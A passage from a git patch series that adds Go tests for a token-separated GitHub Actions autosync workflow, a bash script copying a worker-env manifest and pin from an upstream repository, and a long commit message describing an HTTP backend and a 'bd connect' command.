pushMint.With["permission-pull-requests"] != "" { + t.Errorf("push-token mint = %+v, want the gastownhall-autofix mint (AUTOFIX_APP_ID/AUTOFIX_APP_PRIVATE_KEY, contents:write only)", pushMint) + } + + prMint := job.step(t, "Mint PR token (gascity-autofix)") + if prMint.ID != "pr-token" || actionFamily(prMint.Uses) != "actions/create-github-app-token" || + prMint.With["app-id"] != "${{ secrets.GASCITY_AUTOFIX_APP_ID }}" || prMint.With["private-key"] != "${{ secrets.GASCITY_AUTOFIX_APP_PRIVATE_KEY }}" || + prMint.With["permission-pull-requests"] != "write" || prMint.With["permission-contents"] != "" { + t.Errorf("pr-token mint = %+v, want the gascity-autofix mint (GASCITY_AUTOFIX_APP_ID/GASCITY_AUTOFIX_APP_PRIVATE_KEY, pull-requests:write only)", prMint) + } + if pushMint.Uses != prMint.Uses { + t.Errorf("push-token and pr-token mint different action pins: %q vs %q, want the same SHA-pinned actions/create-github-app-token", pushMint.Uses, prMint.Uses) + } + + push := job.step(t, "Commit and push the sync branch") + if push.Uses != "" || !strings.Contains(push.Run, "git push") { + t.Errorf("push step = %+v, want a plain git push (no action; push-token and pr-token cannot be split through one action's single token input)", push) + } + if push.Env["PUSH_TOKEN"] != "${{ steps.push-token.outputs.token }}" { + t.Errorf("push step env PUSH_TOKEN = %q, want the minted push-token", push.Env["PUSH_TOKEN"]) + } + if _, leaked := push.Env["GH_TOKEN"]; leaked { + t.Errorf("push step sets GH_TOKEN; the push step must never see pr-token") + } + if !strings.Contains(push.Run, workerEnvAutosyncBranch) && push.Env["BRANCH"] != workerEnvAutosyncBranch { + t.Errorf("push step does not reference the fixed branch %q", workerEnvAutosyncBranch) + } + if !strings.Contains(push.Run, "force-with-lease=refs/heads/$BRANCH") { + t.Errorf("push step run %q, want a --force-with-lease scoped to the fixed branch's ref alone", push.Run) + } + + pr := job.step(t, "Open or update the sync PR") + if pr.Uses != "" { + t.Fatalf("PR step uses %q, want plain gh (no action; the token split rules out peter-evans/create-pull-request, which takes one token)", pr.Uses) + } + if pr.Env["GH_TOKEN"] != "${{ steps.pr-token.outputs.token }}" { + t.Errorf("PR step env GH_TOKEN = %q, want the minted pr-token", pr.Env["GH_TOKEN"]) + } + if _, leaked := pr.Env["PUSH_TOKEN"]; leaked { + t.Errorf("PR step sets PUSH_TOKEN; the PR step must never see push-token") + } + if pr.Env["BRANCH"] != workerEnvAutosyncBranch { + t.Errorf("PR step env BRANCH = %q, want the fixed branch %q (so a later run updates the same PR instead of opening a new one)", pr.Env["BRANCH"], workerEnvAutosyncBranch) + } + if !strings.Contains(pr.Run, "gh pr create") || !strings.Contains(pr.Run, "gh pr edit") || !strings.Contains(pr.Run, `--add-label "$LABEL"`) { + t.Errorf("PR step run %q, want it to create-or-update the PR and add the label via gh", pr.Run) + } + if pr.Env["LABEL"] != "status/needs-review-auto" { + t.Errorf("PR step env LABEL = %q, want status/needs-review-auto (routes it through the automated review workflow)", pr.Env["LABEL"]) + } + + merge := job.step(t, "Enable auto-merge") + if merge.If != mismatchIf+" && steps.pr.outputs.number" { + t.Errorf("merge step if = %q, want gated on a real mismatch and a PR having been opened", merge.If) + } + if merge.Uses != "" || !strings.Contains(merge.Run, "gh pr merge --auto") { + t.Errorf("merge step = %+v, want a gh pr merge --auto call (arms auto-merge; never merges outright)", merge) + } + if merge.Env["GH_TOKEN"] != "${{ steps.pr-token.outputs.token }}" { + t.Errorf("merge step env GH_TOKEN = %q, want pr-token (enabling auto-merge is PR-shaped, not a push)", merge.Env["GH_TOKEN"]) + } +} + +// TestWorkerEnvAutosyncWorkflowNeverInterpolatesExpressionsInRun: every +// `${{ }}` GitHub would otherwise substitute directly into a shell script +// is instead assigned to a step's `env:` first, so a value that happens to +// contain shell metacharacters (a PR title, a run URL) is data the shell +// sees through a variable, never text GitHub splices into the script +// before bash ever runs it. +func TestWorkerEnvAutosyncWorkflowNeverInterpolatesExpressionsInRun(t *testing.T) { + job := readCIWorkflow(t, workerEnvAutosyncWorkflow).job(t, workerEnvAutosyncJob) + for _, step := range job.Steps { + if strings.Contains(step.Run, "${{") { + t.Errorf("step %q run contains a ${{ }} expression; move it to env: and reference the variable instead:\n%s", step.Name, step.Run) + } + } +} + +// TestWorkerEnvSyncCopyAgainstFixture runs the real tools/rbe/worker-env- +// sync-copy against a scratch checkout and a local gascity (reusing +// rbe_worker_env_test.go's fixture): it overwrites the manifest and the pin +// byte for byte, leaves everything else untouched, and fails loudly rather +// than writing anything when gascity's platforms/BUILD.bazel carries no +// pin to copy. +func TestWorkerEnvSyncCopyAgainstFixture(t *testing.T) { + f := newRBEWorkerEnvFixture(t) + stalePin := rbeTestPin(rbeTestStaleManifest) + beads := f.beads(t, rbeTestStaleManifest, stalePin) + rbeTestWrite(t, filepath.Join(beads, workerEnvSyncCopy), readPolicyFile(t, bazelPolicyRoot(t), workerEnvSyncCopy), 0o755) + // A file the copy must never touch. + rbeTestWrite(t, filepath.Join(beads, "tools/rbe/untouched.txt"), "keep\n", 0o644) + + code, out := f.run(t, beads, workerEnvSyncCopy+" main\n") + if code != 0 { + t.Fatalf("worker-env-sync-copy: exit %d\n%s", code, out) + } + if !strings.Contains(out, "copied gascity main's worker-env ("+f.pin+")") { + t.Errorf("worker-env-sync-copy output %q, want it to report the copied pin %s", out, f.pin) + } + gotManifest, err := os.ReadFile(filepath.Join(beads, rbeWorkerEnvManifest)) + if err != nil || string(gotManifest) != f.manifest { + t.Errorf("worker-env.txt after copy = %q, %v; want gascity's manifest %q", gotManifest, err, f.manifest) + } + gotBuild, err := os.ReadFile(filepath.Join(beads, rbeWorkerPlatformBuild)) + if err != nil || !strings.Contains(string(gotBuild), "\"worker-env\": \""+f.pin+"\",") { + t.Errorf("platforms/BUILD.bazel after copy = %q, %v; want the pin %s", gotBuild, err, f.pin) + } + untouched, err := os.ReadFile(filepath.Join(beads, "tools/rbe/untouched.txt")) + if err != nil || string(untouched) != "keep\n" { + t.Errorf("worker-env-sync-copy touched an unrelated file: %q, %v", untouched, err) + } + + // gascity's platforms/BUILD.bazel with no pin at all: nothing copied. + noPinGascity := t.TempDir() + rbeTestWrite(t, filepath.Join(noPinGascity, "main/tools/rbe/worker-env.txt"), "arch x86_64\n", 0o644) + rbeTestWrite(t, filepath.Join(noPinGascity, "main/platforms/BUILD.bazel"), "platform(\n name = \"rbe_worker\",\n)\n", 0o644) + beadsNoPin := f.beads(t, rbeTestStaleManifest, stalePin) + rbeTestWrite(t, filepath.Join(beadsNoPin, workerEnvSyncCopy), readPolicyFile(t, bazelPolicyRoot(t), workerEnvSyncCopy), 0o755) + cmd := "WORKER_ENV_SYNC_URL=file://" + noPinGascity + " " + workerEnvSyncCopy + " main\n" + code, out = f.run(t, beadsNoPin, cmd) + if code == 0 || strings.Contains(out, "copied gascity") { + t.Errorf("worker-env-sync-copy with no gascity pin: exit %d\n%s, want a failure and nothing copied", code, out) + } + stillStale, err := os.ReadFile(filepath.Join(beadsNoPin, rbeWorkerEnvManifest)) + if err != nil || string(stillStale) != rbeTestStaleManifest { + t.Errorf("worker-env-sync-copy wrote despite no gascity pin: %q, %v", stillStale, err) + } +} diff --git a/tools/rbe/worker-env-sync-copy b/tools/rbe/worker-env-sync-copy new file mode 100755 index 000000000..4f0b30be2 --- /dev/null +++ b/tools/rbe/worker-env-sync-copy @@ -0,0 +1,41 @@ +#!/usr/bin/env bash +# worker-env-sync-copy: copy gascity's worker-env manifest and pin here. +# +# tools/rbe/worker-env-sync-copy [REF] +# +# tools/rbe/worker-env-sync only detects an out-of-step pin (exit 1) or that +# it could not compare (exit 2); it never writes. This is the write half, +# run only after that exit-1 detection: it fetches gascity's +# tools/rbe/worker-env.txt and platforms/BUILD.bazel at REF (default main) +# and overwrites beads' copies, byte for byte, the same edit #7419 made by +# hand. It does not touch git (no add, commit, or push) -- the caller +# (worker-env-autosync.yml) stages and opens the PR. +# +# Env: WORKER_ENV_SYNC_URL, gascity's raw-content base (default +# https://raw.githubusercontent.com/gastownhall/gascity). Tests only. +# Run from the repository root. +set -Eeuo pipefail + +ref=${1:-main} +base=${WORKER_ENV_SYNC_URL:-https://raw.githubusercontent.com/gastownhall/gascity}/$ref +tmp=$(mktemp -d) +trap 'rm -rf "$tmp"' EXIT + +curl -fsSL --connect-timeout 5 --max-time 15 --retry 2 -o "$tmp/worker-env.txt" "$base/tools/rbe/worker-env.txt" +curl -fsSL --connect-timeout 5 --max-time 15 --retry 2 -o "$tmp/BUILD.bazel" "$base/platforms/BUILD.bazel" + +pin=$(sed -n 's/^ *"worker-env": "\(sha256:[0-9a-f]\{64\}\)",$/\1/p' "$tmp/BUILD.bazel") +if [ -z "$pin" ]; then + echo "worker-env-sync-copy: gascity $ref's platforms/BUILD.bazel has no worker-env pin; nothing copied" >&2 + exit 1 +fi + +cp "$tmp/worker-env.txt" tools/rbe/worker-env.txt +sed -i -E "s#\"worker-env\": \"sha256:[0-9a-f]{64}\",#\"worker-env\": \"$pin\",#" platforms/BUILD.bazel + +ours=$(sed -n 's/^ *"worker-env": "\(sha256:[0-9a-f]\{64\}\)",$/\1/p' platforms/BUILD.bazel) +if [ "$ours" != "$pin" ]; then + echo "worker-env-sync-copy: platforms/BUILD.bazel still pins $ours after the edit, want $pin" >&2 + exit 1 +fi +echo "worker-env-sync-copy: copied gascity $ref's worker-env ($pin)" From 8dbbe78e9a6ff04ee2d6402e206a59365ae526e9 Mon Sep 17 00:00:00 2001 From: Julian Knutsen Date: Sat, 10 Oct 2026 07:19:18 +0000 Subject: [PATCH 208/325] feat(backend/http): public HTTP backend door, OSS registration, and bd connect (S6) (#7288) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit * feat(backend/http): add the public HTTP backend door, cmd/bd registration, and bd connect internal/httpclient (S1-S5) had no production caller for the per-open backends.OpenOptions.Credential seam and no way for a workspace to actually select it. This slice (S6) closes both gaps in OSS's own idiom, without carrying over anything from bd-enterprise's gateway/box-login/storage-profile machinery: - backend/http (bdhttp) is the public, out-of-tree extension door: Register adds "http" to the backend registry and installs its transport, Open/ Handshake dial a server directly with no workspace on disk, and the registered OpenWith hook threads a per-call credential through beads.OpenBestAvailableWith for a multi-tenant embedder. - internal/httpclient/open_with.go is the backends.Backend.OpenWith hook itself: a fresh dial per open (opts.Credential/HTTPClient/UserAgent), distinct from the process-wide registered dialer Open/OpenReadOnly use. - cmd/bd/http_backend.go registers the backend for the OSS binary, so a workspace whose metadata.json names "http" opens through the ordinary OpenBestAvailable path; any other unregistered backend name still refuses. - cmd/bd/connect.go adds the minimal `bd connect ` command: a handshake that must succeed before anything is written, a per-user activation sidecar (.beads/http_target.json, never git-tracked), a plaintext-to- non-loopback refusal without --allow-plaintext, and a backend-switch refusal without --force. No credential is ever accepted on the command line or written to disk. - cmd/bd/doctor/gitignore.go requires the new http_target.json / http_local_metadata.json sidecars be git-ignored, the same way the proxied-server client info already is. Co-Authored-By: Claude Sonnet 5 * fix(storage): keep external-dependency blocking over http unless the server enforces it bd ready / bd close / claim hard-failed against the new http backend with "GetAllDependencyRecords not supported by the http backend": cmd/bd's storage chain wraps every opened store in the externaldeps policy decorator, which needs either the narrow ExternalDependencyQueryStore interface or the broad GetAllDependencyRecords fallback to resolve blocking state, and the http client implemented neither. The decorator now stays on for a remote store. It is skipped only when the server's handshake advertises policy.external_dependencies (the server enforces the policy before answering). Without that capability the client resolves blocking itself from the listing and chunked dependency reads, so an issue with an unresolvable external: dependency stays out of bd ready exactly as it does on a local backend; it is never silently skipped (DESIGN 3.6). Server-side enforcement is slice S10. storage.RemoteBackendStore marks a DoltStorage that is a pure network client of a remote bd serve; the http backend's Store satisfies it. Co-Authored-By: Claude Sonnet 5 * fix(cmd/bd): suppress the CreatedBy stamp on create against a remote backend bd create failed against the http backend with "Issue.CreatedBy: ... is not expressible on the v0 wire": the http client's create role deliberately refuses any POPULATED CreatedBy/CreatedAt (the creation stamp belongs to the server's own journal entry, not a value the caller supplies), but cmd/bd/create.go unconditionally stamped getActorWithGit() onto every created issue regardless of backend. The refusal only fires on a non-zero field, so suppressing the stamp for a registered remote backend is wire- compatible by construction, not a workaround. Add isRemoteBackendWorkspace()/creationActorStamp() to backend_support.go, reusing the existing resolveCommandBeadsDir(dbPath) + backendNameForErrorFraming(beadsDir) + backends.IsRemote(name) pattern already used elsewhere in that file, and use creationActorStamp() at both create.go call sites (the dry-run preview and the real create). Co-Authored-By: Claude Sonnet 5 * test(backend/http): add an embedder linkage test over public packages only Prove the one promise S6 makes to an out-of-tree embedder (gc is the motivating case): importing nothing but github.com/steveyegge/beads, .../backend, and .../backend/http is enough to register the http backend, open a workspace through it with a per-call credential (beads.OpenBestAvailableWith), and read through the role-accessor surface (IssueReader().Ready) against a stand-in server — with no internal/... import in the test file, which is itself the thing under test. Written fresh for OSS beads S6; no bd-enterprise source copied. Co-Authored-By: Claude Sonnet 5 * docs: document the HTTP backend, bd connect, and the public backend/http door Add a README section with bd connect usage, the credential ladder, and the plaintext/force refusals, plus a CHANGELOG entry for the new cmd/bd registration, bd connect command, and the public backend/http package. Co-Authored-By: Claude Sonnet 5 * fix(httpclient): address bee-ghosttrack review on #7288 (connect --clear restore, persisted --allow-plaintext) Closes the CHANGES_REQUESTED items on the HTTP backend door PR: - Must-fix: `bd connect --force` over a workspace with its own local (dolt) identity now has writes succeed instead of tripping "workspace identity mismatch detected" — validateWorkspaceIdentity (cmd/bd/main.go) and the sidecar (internal/httpclient/metadata.go) now compare against the http backend's own pinned project id. New e2e regression test TestE2E_ForceConnectWritesSucceedDespiteDifferingLocalProjectID (backend/http/e2e_cli_test.go), confirmed to fail without the fix. - Should-fix 1: `bd connect --clear` now restores metadata.json's backend selection to whatever it was before this workspace connected, instead of leaving it pinned to "http" with no sidecar to dial. Target.PreviousBackend (internal/httpclient/target.go) is recorded by Attach (backend/http/attach.go) and round-tripped through the sidecar; connect.go reads it back on --clear. New tests in backend/http/attach_test.go and internal/httpclient/target_test.go. - Should-fix 2: `bd connect --allow-plaintext` is now remembered in the sidecar (Target.AllowInsecureCredential), scoped to the target it was granted for, so every later ordinary command's dial honors the grant without also needing BEADS_HTTP_ALLOW_INSECURE=1 set (internal/httpclient/dial.go). Fixed BearerProvider.warnInsecure's wording (internal/httpclient/credential.go), which used to assert a token was being sent immediately above a refusal saying the opposite. New test TestDialWithWiresTargetAllowInsecureCredentialThroughToTheGuard. - Should-fix 3: README no longer claims HTTP mode works "exactly as with a local database" — it lists what round-trips and points at the divergence ledger (engdocs/design/http-divergence-ledger.md) for what differs. - Verified, no code change needed: Attach already handles an existing metadata.json project_id coherently (only cfg.Backend is touched); bd show's isNotFoundErr already matches a http 404 (issueops.ErrNotFound is storage.ErrNotFound, the same sentinel a local miss uses), so it reads as "not found" rather than an unsupported-operation error. - Doc fix: guardInsecureCredential's doc comment and refusal message were stale against should-fix 2's own change — they named only DialOptions.AllowInsecureCredential and the env var as ways to get past the guard, not the newly-persisted target.AllowInsecureCredential or `bd connect --allow-plaintext` itself. Gates run clean on this branch: go build/vet, go test over internal/httpclient, backend/http (including the full e2e suite under BEADS_TEST_EMBEDDED_DOLT=1) and cmd/bd, make api-check, make ci-pr-lint, make bazel-sync-check, bazel run //:gazelle -- -mode=diff, and internal/storage's TestEveryLegWiresEveryRoleContract. Co-Authored-By: Claude Sonnet 5 * test(backend/http): give the e2e server the BatchGetter role #7248 added to the required set Co-Authored-By: Claude Opus 5.5 (1M context) * fix: exact http ready totals, connect capability row, doc corrections Ready totals over http (review major). externaldeps drops externally blocked rows client-side for a store that cannot express ExcludeIDs (today httpclient.Store). dropBlockedIssuesWithCounts compacted the fetched rows in place (`kept := rows[:0]`), and readyWorkWithCountsAndTotal then re-scanned `rows` to count the blocked rows it had dropped. By then the compaction had overwritten them, so whenever a blocked row came back ahead of a kept one the re-scan undercounted the drops: `bd ready --json`'s total and text-mode `bd ready`'s count (CountReadyWork) overstated ready work against any server that does not advertise policy.external_dependencies. Both drop helpers now copy into a fresh slice, and dropBlockedIssuesWithCounts reports how many rows it dropped, so nothing re-scans `rows`. fakeStore gains an excludeIDsUnsupported switch that, like httpclient.Store, refuses any ExcludeIDs. The new TestReadyTotalsWhenStoreCannotExpressExcludeIDs puts the blocked issue first and checks the page and total for an unlimited filter, a Limit whose bumped window holds the whole set, and one the set outgrows, then CountReadyWork. TestServedReadyExcludesUnsatisfiedExternalDependencyWithoutServerCapability now also checks the total and count against a real in-process bd serve. Against the previous decorator the unit test's unlimited case reports total and count 3 beside a 2-row page, and the served test 2 beside a 1-row page. Review minors, all wording: - `bd connect --clear` pointed at `bd config set backend dolt`, which writes the database's config table rather than metadata.json and, in the state that prints the advice (metadata.json says http, sidecar gone), fails the pre-open identity check. It now says to reconnect, or to set "backend" in metadata.json. - CHANGELOG described the superseded skip-at-wrap design; it now describes the always-wrap decorator with its capability probe and client-side drop. - RemoteBackendStore's docs no longer name a consumer; nothing in-tree checks it. - creationActorStamp's comment pointed at backend/http/lifecycle.go; the refusal lives in internal/httpclient/lifecycle.go. Capability row. TestProxyCapabilityRegistryCoversCommandTree fails at 60b7128204: the command tree walk finds `connect`, which this PR adds, with no row in cmd/bd/capability_registry.go ("1 command(s) have no proxied-server capability row: connect"). The test predates the PR (#6582 is an ancestor of its base) and passes at the base dabf20ef07. connect opts out of store init (skipStoreAnnotation) and never reaches the store factory, so it belongs in proxyPermittedPaths beside init and setup. The row is runtime-neutral: validateProxyRegistryBeforeProvider returns nil both for a permitted row and for a path with no row, so this only records the policy decision the coverage test asks for. Agent-Signature: claude-code-claude-opus-5-5-max on behalf of Gas City Adopt-PR Co-Authored-By: Claude Opus 5.5 * docs(httpclient): regenerate the divergence ledger doc after the S5 rebase The rebase onto feat/http-client-batch-apply's rebased head (S3/S4 merged to main) left the ledger doc's summary line at a conflict-resolution placeholder count. Regenerate it from internal/httpclient/encode.Ledger() so TestDivergenceLedgerDocMatchesLedger passes against the merged ledger.go. Co-Authored-By: Claude Sonnet 5 * fix(backend/http): host-scope S6's test BEADS_HTTP_TOKEN values Rebasing onto feat/http-client-batch-apply's rebased head pulled in main's #7247 review-fix round, which made BEADS_HTTP_TOKEN/BEADS_HTTP_TOKEN_COMMAND host-scoped (host[:port]=value, scopedEnvValue/parseScopedEnv in internal/httpclient/credential.go) after S6's own tests were written against the unscoped form. Five S6 tests across backend/http/open_test.go, backend/http/register_test.go and internal/httpclient/insecure_credential_guard_test.go set a bare token and now hit the new ladder's "an unscoped token would be used for whatever server..." refusal. Scope each to the test server's actual host (127.0.0.1 for the httptest.Server-backed recording servers, nonLoopbackTestHost for the insecure-credential-guard integration tests) so they exercise the same ladder rung as before. Co-Authored-By: Claude Sonnet 5 * build(bazel): resync go_srcs/repo_files for the new backend/http and test/embedder packages make bazel-sync-check failed after the rebase: tools/bazel/go_srcs.py's managed repo_files filegroups for backend/http and test/embedder (new in this slice) hadn't been generated, and the root BUILD.bazel / tools/bazel's release_cross_build target list hadn't picked up the new package either. Regenerate with `python3 tools/bazel/go_srcs.py`; `bazel run //:gazelle -- -mode=diff` reports no further drift. Co-Authored-By: Claude Sonnet 5 * fix(cmd/bd): route swarm's create paths through creationActorStamp after main's currentActor change Co-Authored-By: Claude Opus 5.5 (1M context) * fix: police http's served roles, refuse close --claim-next, exact totals External-dependency policy over http (review blocker). cmd/bd wraps every store, http included, in the externaldeps decorator, and its role accessors rebuilt each role over legacy methods httpclient.Store refuses (SearchIssuesWithCounts, GetDependencyTree, ClaimReadyIssue, IsBlocked, GetDependencyRecordsForIssues, BatchCloserWithPolicy). Over http `bd list`, `bd dep tree`, `bd ready --claim` and a policed `bd close` therefore exited 1, even in a workspace with no external dependency. Over a store that reports storage.RemoteBackendStore, each accessor now starts from the inner store's served role and layers the policy around it (remote_roles.go): - IssueReader serves List and Get from the served reader; Ready and a ready-flagged List go through the policy reader. - IssueClaimer refuses an externally blocked claim before the served one. - ReadyClaimer uses the served claim-next while no issue, closed ones included, holds an unsatisfied external ref. Otherwise it claims down the policy's filtered ready page through the served Claimer, because claimNext cannot exclude ids. - BlockingAnnotator and TreeWalker merge external blockers into, or add external leaves to, the served answer. They read only the named issues' edges through the served EdgeReader, 100 anchors per call. - BatchCloser refuses externally blocked open items and sends the rest to the served closer as one request. --force keeps the base path, and a next claim is refused whole (below). RemoteBackendStore now only chooses this composition. Whether the policy runs is still ServerEnforcesExternalDependencyPolicy's answer (design 3.6), and the storage and httpclient docs say so. remote_roles_test.go drives each role over a store that refuses the legacy methods. TestServedRolesKeepTheExternalDependencyPolicy runs every role over a real http server. TestE2E_BDOverHTTP adds `bd list` (JSON, text and --deps), `bd dep tree`, `bd ready`, `bd list --ready`, `bd ready --claim`, a refused `bd close --claim-next`, and a refused then forced close of an externally blocked issue. At the fixup before the composition, the role tests then written (bar one pin of the next-claim refusal, since replaced) and the e2e's list, dep tree, claim and close steps of that round were red. Close with a next claim over http (review major). batchCloseIssues has no member for a next claim, so httpclient refuses any ClaimNext before the dial (ledger W-CloseBatchRequest.ClaimNext). Over http `bd close --claim-next` therefore always exited 1 and closed nothing. With an external ref anywhere in the workspace (a closed holder or --force included) the decorator's base path failed first, with an opaque `BatchCloserWithPolicy` unsupported. remoteBatchCloser now refuses a next claim whole, before it reads or closes anything, and the error says nothing closed: close without --claim-next, then run `bd ready --claim`. A request that is invalid on every backend is still ErrValidation first, and a server that enforces the policy itself gets the request unchanged. Composing close-then-claim was not taken. The role closes and claims in one transaction and answers with an error or with outcomes, never both, so a claim that failed after the closes committed could not report them; httpclient refuses the same request for that reason. A CLI-level close then claim that can report a partial result is the follow-up. The review also suggested leaving closed holders out of the blocking state. They stay in, as on every backend: a closed issue is never a claim candidate, so they change no claim, and leaving them out would cost a status read per holder because the wire has no batch read. TestRemoteBatchCloserRefusesANextClaim covers an open holder, a closed one, none, --force, and a server that enforces the policy; with the previous remote_roles.go the first four are red. TestRemoteBatchCloserValidatesANextClaimFirst keeps ErrValidation ahead of the refusal. Dropping the filter check, or loading the blocking state before refusing, is each caught. TestE2E_BDOverHTTP runs `bd close --claim-next` while the holder is open and again after it is closed; with the previous remote_roles.go both steps are red and print `operation "BatchCloserWithPolicy" not supported`. Ledger F-close no longer says --claim-next is served, and no longer names a renderEscapedHTTPRefusal that does not exist. L14 says the decorator's claim leg applies while any issue, closed or not, holds an unsatisfied ref. The README and CHANGELOG mention the refusal, and the decorator's IsBlocked, IsBlockedBatch and CloseIssueChecked say they refuse over a store that serves its roles. Ready totals with external blockers (review majors, both rounds). CountReadyWork asks for Limit=0, and readyWorkWithCountsAndTotal took any Limit<=0 to mean "the window held the whole ready set". Over http a zero limit never reaches the wire: the server answers with its default page (workapi.DefaultReadyLimit, 100 rows) while the bridge reports the full total, so past 100 ready issues text-mode `bd ready` kept counting externally blocked issues beyond the first page. Exactness is now judged from the rows that came back (total <= len(rows)). A window that holds only part of the set no longer subtracts every externally blocked id in the workspace either: that set includes closed issues and ones the filter excludes, none of them in the total, so the count came out low. It refetches the filtered ready set, ids only, and subtracts the blocked rows in it; the old bound is left as the fallback for a refetch that comes back truncated too. fakeStore gains the bridge's shape: a defaultPage for a zero Limit, with GetReadyWorkWithCountsAndTotal still totalling the whole set. TestReadyTotalsWhenAnUnlimitedFetchComesBackAsOnePage (a blocked issue past the first page) and TestReadyTotalsIgnoreExternallyBlockedIssuesOutsideTheReadySet (a blocked issue outside the ready set) have served counterparts, TestServedReadyCountExcludesAnExternallyBlockedIssuePastTheDefaultPage and TestServedReadyTotalIgnoresAnExternallyBlockedIssueOutsideTheFilter (an assignee filter). The first pair is red on the Limit<=0 condition, the second on the subtract-every-blocked-id branch. Docs: ledger L8 now says which decorator paths take the chunked GetAllDependencyRecords scan and which read only named edges, and L14 records the decorator's composed claim leg; http-divergence-ledger.md is regenerated. The README names the verified commands, and the README and CHANGELOG say how cross-repo dependencies behave over http. Minors from the reviews: - Drop creationActorStamp/isRemoteBackendWorkspace and restore the base stamps at all 11 sites. The arm guarded a refusal the http create role does not make: since #7247 (actorStampedCreateMember) it accepts a CreatedBy naming the actor. Because the arm keyed on the CWD workspace, a create routed from an http workspace into a local one (--repo) stored an empty created_by. TestE2E_BDOverHTTP checks created_by for a direct and a routed create; the routed check is red with the arm restored. The CHANGELOG sentence describing the arm goes with it. - bdhttp.Attach decides a reconnect from the raw metadata.json backend. GetBackend() reads an unregistered "http" as the dolt default, so in an embedder that never called Register a reconnect recorded dolt as the backend --clear restores. The reconnect test now seeds postgres (TestAttachOnAReconnectKeepsTheEarlierPreviousBackend) and is red with the old check. - README, CHANGELOG and `bd connect --help` document the host-scoped BEADS_HTTP_TOKEN=host[:port]= form (and _COMMAND), and say why a bare value is refused. - bdhttp.Attach also gitignores http_local_metadata.json, the per-user file the store writes on first use, so an embedder activating through Attach alone gets the coverage `bd connect` already had. TestAttachGitignoresBothPerUserFiles pins it. - ServerSnapshot.WireRevision's doc names the handshake's actual check instead of a comparison `bd connect` never makes. Agent-Signature: claude-code-claude-opus-5-5-max on behalf of Gas City Adopt-PR Co-Authored-By: Claude Opus 5.5 * test(backend/http): give the e2e server the LeaseReclaimer role #7412 added to the required set main's #7412 made LeaseReclaimer part of httpapi's required role set and updated main's own binders, but backend/http's e2eServeConfig predates it, so every TestE2E_* that binds the in-process server failed with "httpapi: no database source". Same shape as e63f7da36a for BatchGetter. Co-Authored-By: Claude Opus 5.5 * fix(externaldeps): lead the --claim-next refusal with the wire fact; pin the L14 leg and connect --clear Review i4 minors/nits on the stranded fixup, carried as a separate commit: - remoteBatchCloser's --claim-next refusal now says the served batch close cannot carry a next claim (the real cause), rather than blaming externally blocked work a workspace may not have. The test asserts the reason, that nothing closed, and the remedy. - GetDependencyTree's doc says a served store refuses its reads and that bd dep tree goes through remoteTreeWalker. - README no longer gives `bd ready --claim` local semantics everywhere; it names when ledger row L14's two-step claim applies. - TestE2E_BDOverHTTP claims once more after the external-ref holder is closed, pinning L14's composed leg (a mutant whose composed leg claims nothing turns only that step red). - New TestE2E_ConnectClearRestoresThePreviousBackend: --clear restores the prior dolt backend with its identity intact, removes the sidecar, and a second --clear changes nothing. Co-Authored-By: Claude Opus 5.5 * test(backend/http): run the served e2e under bazel //backend/http:http_test declared no bd binary, so under bazel the e2e files (bazeltest.PrebuiltBD) failed on BEADS_TEST_BD_BINARY with BEADS_HTTP_TEST_REQUIRED=1 and only "passed" by skipping otherwise. It now takes //cmd/bd:bd_for_tests (visibility added), size large / timeout long: the served cases run 4-5 minutes on the farm under BEADS_TEST_EMBEDDED_DOLT=1. Co-Authored-By: Claude Opus 5.5 * test(backend/http): run the e2e tier in the embedded lane as http_served_test The previous commit gives //backend/http:http_test the bd binary, but no lane sets BEADS_TEST_EMBEDDED_DOLT for it, so its TestE2E_* cases still skipped in CI. http_served_test runs the same test binary through //tools/bazel:go_test_variant.sh with BEADS_TEST_EMBEDDED_DOLT=1 and BEADS_HTTP_TEST_REQUIRED=1 (a skip fails it). It is tagged embedded, so the --config=embedded lane runs it and prcore/ci keep their current shape, the same split as //internal/httpclient:httpclient_served_test. Under plain --config=embedded all 8 TestE2E_* cases run, none skipped. TestBazelRetiredLanesCannotBeNarrowed pins every embedded-lane target's args and env; the new target is added to that pin list. Co-Authored-By: Claude Opus 5.5 * fix(externaldeps): cap the ready rows kept, not the bumped http window An http store cannot carry ExcludeIDs on listReadyWork, so readyExclusion fetches the unfiltered ready set, widened by len(blocked) under a limit, and drops the externally blocked rows client-side. The http ready bridge enforced MaxRows on the rows it fetched rather than the rows kept. So `bd ready --limit N --max-rows N` exited 2 whenever more than N issues were ready and any workspace issue held an unsatisfied external blocker (a closed one counts), even with no blocked row in the window, and a blocked row in the page counted against the cap although the caller never sees it. Locally neither can happen: issueops enforces the cap on the filtered page it delivers, after the Limit trim (finishReadyWorkWithCounts). The client-side path now takes MaxRows off the inner query and enforces the caller's cap on the rows it keeps, after the trim, in all three listings. The inner query keeps the cap whenever nothing is dropped client-side. MaxRows never rode the wire, so the fetch is the size it was; refetchedReadyTotal already clears the cap on its own over-fetch. TestServedReadyMaxRowsCountsTheRowsKept runs the decorator over a served http store holding three free issues and one externally blocked one: a cap equal to the limit, a cap under a wider limit, an unlimited listing, and a kept page wider than the cap, which must still return ErrTooManyRows with the caller's cap and source. Each case runs through GetReadyWork, GetReadyWorkWithCounts and GetReadyWorkWithCountsAndTotal. Leaving the cap on the inner query fails the first three cases in all three methods, dropping the re-applied cap fails the fourth, and enforcing it before the Limit trim fails the first. Agent-Signature: claude-code-claude-opus-5-5-max on behalf of Julian Knutsen Co-Authored-By: Claude Opus 5.5 --------- Co-authored-by: Claude Sonnet 5 Co-authored-by: Eddie the Engineer --- BUILD.bazel | 8 + CHANGELOG.md | 41 + README.md | 70 ++ backend/http/BUILD.bazel | 149 +++ backend/http/attach.go | 133 +++ backend/http/attach_test.go | 180 +++ backend/http/credential.go | 57 + backend/http/e2e_cli_test.go | 1059 +++++++++++++++++ backend/http/errors.go | 111 ++ backend/http/http.go | 216 ++++ backend/http/open_test.go | 235 ++++ backend/http/register_test.go | 318 +++++ backend/http/target.go | 41 + cmd/bd/BUILD.bazel | 5 + cmd/bd/capability_registry.go | 2 +- cmd/bd/connect.go | 324 +++++ cmd/bd/context_cmd.go | 15 +- cmd/bd/doctor/gitignore.go | 7 +- cmd/bd/http_backend.go | 16 + cmd/bd/main.go | 23 + cmd/bd/storage_chain.go | 11 + engdocs/design/http-divergence-ledger.md | 8 +- internal/gitignore/BUILD.bazel | 10 +- internal/gitignore/ensure.go | 42 + internal/gitignore/ensure_test.go | 64 + internal/httpclient/BUILD.bazel | 6 + internal/httpclient/completeness_test.go | 1 - internal/httpclient/credential.go | 19 +- 